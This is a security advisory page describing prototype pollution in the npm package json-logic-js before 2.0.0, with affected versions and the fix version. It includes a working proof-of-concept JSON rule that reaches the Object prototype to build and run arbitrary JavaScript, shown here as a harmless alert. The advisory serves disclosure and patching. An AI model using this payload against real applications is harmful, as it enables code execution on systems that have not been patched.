Ecosyste.ms: Advisories

An open API service providing security vulnerability metadata for many open source software ecosystems.

Security Advisories: MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLW05aHctN3hmdi13cWc3

Prototype Pollution in json-logic-js

Versions of json-logic-js prior to 2.0.0 are vulnerable to Prototype Pollution. The method operation allows a malicious user to modify the prototype of Object through the method property name. This causes modification of any existing property that will exist on all objects and leads to Remote Code Execution.

The following rule creates a popup when run from a browser:

{
  "method": [
    {
      "method": [
        {
          "var": "__proto__.constructor.is.__proto__"
        },
        "constructor",
        [
          "var x = 'SECURITY!'; console.log(x, window.fetch); alert(x)"
        ]
      ]
    },
    "call"
  ]
}
Permalink: https://github.com/advisories/GHSA-m9hw-7xfv-wqg7
JSON: https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLW05aHctN3hmdi13cWc3
Source: GitHub Advisory Database
Origin: Unspecified
Severity: High
Classification: General
Published: over 3 years ago
Updated: over 1 year ago


Identifiers: GHSA-m9hw-7xfv-wqg7
References: Repository: https://github.com/jwadhams/json-logic-js
Blast Radius: 0.0

Affected Packages

npm:json-logic-js
Dependent packages: 198
Dependent repositories: 968
Downloads: 706,260 last month
Affected Version Ranges: < 2.0.0
Fixed in: 2.0.0
All affected versions: 1.0.1, 1.0.3, 1.0.9, 1.0.10, 1.0.11, 1.1.0, 1.1.1, 1.1.2, 1.1.3, 1.2.0, 1.2.1, 1.2.2, 1.2.3
All unaffected versions: 2.0.0, 2.0.1, 2.0.2